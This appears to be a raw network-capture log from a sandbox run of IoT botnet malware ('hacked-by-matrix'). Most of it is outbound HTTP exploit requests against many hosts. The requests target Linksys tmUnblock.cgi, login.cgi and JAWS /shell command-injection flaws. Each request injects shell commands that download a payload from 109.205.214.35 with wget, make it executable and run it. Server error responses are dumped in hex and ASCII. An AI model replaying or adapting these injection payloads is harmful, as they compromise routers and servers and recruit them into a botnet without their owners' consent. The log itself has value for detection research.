Mar 21, 2024 05:26:51.980772972 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:26:52.969604969 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:26:54.952359915 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:26:58.989288092 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:27:06.918731928 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1330	192.168.2.23	36102	23.202.52.135	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:51.585956097 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:51.673722982 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Thu, 21 Mar 2024 04:26:51 GMT Date: Thu, 21 Mar 2024 04:26:51 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 31 36 65 32 63 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 32 31 31 26 23 34 36 3b 32 61 34 65 32 34 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.416e2c17.1710995211.2a4e24b</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1331	192.168.2.23	34028	198.91.85.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:51.938210964 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:52.054233074 CET	40	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
1332	192.168.2.23	41730	34.195.150.228	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:52.054195881 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1333	192.168.2.23	60160	54.203.79.201	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:52.228497028 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:52.411401033 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:52 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {
Mar 21, 2024 05:26:52.411456108 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-co
Mar 21, 2024 05:26:52.411468029 CET	1286	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 Data Ascii: { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align
Mar 21, 2024 05:26:52.411478996 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0;
Mar 21, 2024 05:26:52.411508083 CET	1286	IN	Data Raw: 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 Data Ascii: bGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGS
Mar 21, 2024 05:26:52.411555052 CET	1286	IN	Data Raw: 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 Data Ascii: 5U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGE
Mar 21, 2024 05:26:52.411569118 CET	1096	IN	Data Raw: 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 Data Ascii: LWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hX
Mar 21, 2024 05:26:52.412689924 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to 54-203-79-201.cprapid.com's <a href="mailto:root@5
Mar 21, 2024 05:26:52.412707090 CET	382	IN	Data Raw: 63 65 3d 63 70 61 6e 65 6c 77 68 6d 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c 22 20 74 61 72 67 Data Ascii: ce=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class=

Session ID	Source IP	Source Port	Destination IP	Destination Port
1334	192.168.2.23	34586	67.227.215.198	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:52.260500908 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:52.381572962 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:52 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%;
Mar 21, 2024 05:26:52.381587029 CET	1286	IN	Data Raw: 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no
Mar 21, 2024 05:26:52.381597996 CET	1286	IN	Data Raw: 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 Data Ascii: ; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; }
